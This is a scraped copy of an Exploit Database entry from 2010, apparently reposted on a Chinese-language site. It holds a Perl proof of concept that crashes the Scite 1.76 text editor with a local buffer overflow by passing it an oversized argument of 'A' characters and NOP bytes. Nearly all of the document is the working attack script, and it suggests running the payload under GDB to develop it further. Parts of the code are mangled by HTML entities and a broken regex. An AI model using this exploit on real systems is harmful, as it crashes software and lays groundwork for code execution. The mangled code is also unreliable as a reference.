Scite Text Editor 1.76 – Local Buffer Overflow (PoC)

• Exploit Database
• 120 阅读

• 作者： kmkz
  日期： 2010-06-27
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/14083/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52

  # Exploit Title: Scite text editor :Local Buffer Overflow (PoC) # Date: 28/06/2010 # Author: kmkz # Version: [Scite 1.76 (lastest version) # Tested on: Linux 2.6.31-22   # Code : Proof of Concept #!/usr/bin/perl -wU # 0-Days PoC (Local BoF Scite 1.76) use strict; use diagnostics; use English \&apos;-no_match_vars\&apos;;   use constant SUCCESS=>(1); use constant FAILLURE=>(0); use constant TARGET_BINARY=>(\"scite\"); use constant PAYLOAD=>(<code>perl -e \&apos;print \"A\"x4092 . \"\\x90\\x90\\x90\\x90\"\&apos;</code>); use constant VERSION =>(\"/usr/share/scite/SciTE.html\");     BEGIN:   if(-e VERSION) { foreach(VERSION) { my @version_checking=($_=~ //); @version_checking=split(/W/);   next if !($\&apos; =~ m/1.76/) || warn (\"[*] WARNING: not Scite Version 1.76 \\012\\012\"); }     my $Exploitation=(system( TARGET_BINARY, PAYLOAD)); open (DUMP ,\">> Dump_Scite_Local_BoF_PoC.log\") or warn(\"[-] Can\&apos;t create dump_file\\012\\015\"); printf(DUMP\" [+] This PoC generate a .txt document and crash scite exploiting a local Buffer Overflow (just for example) \\012\\012\\015\");   printf(\"%s\\012\", $Exploitation ) ;   printf(DUMP\"[+] Run in GDB for more information (using this payload):\\012 %s\", PAYLOAD);   close(DUMP); exit(SUCCESS); }     else { printf(\"[!] %s : MISSING \\012 [!] %s \\012\\012\",VERSION,$!); exit(FAILLURE); }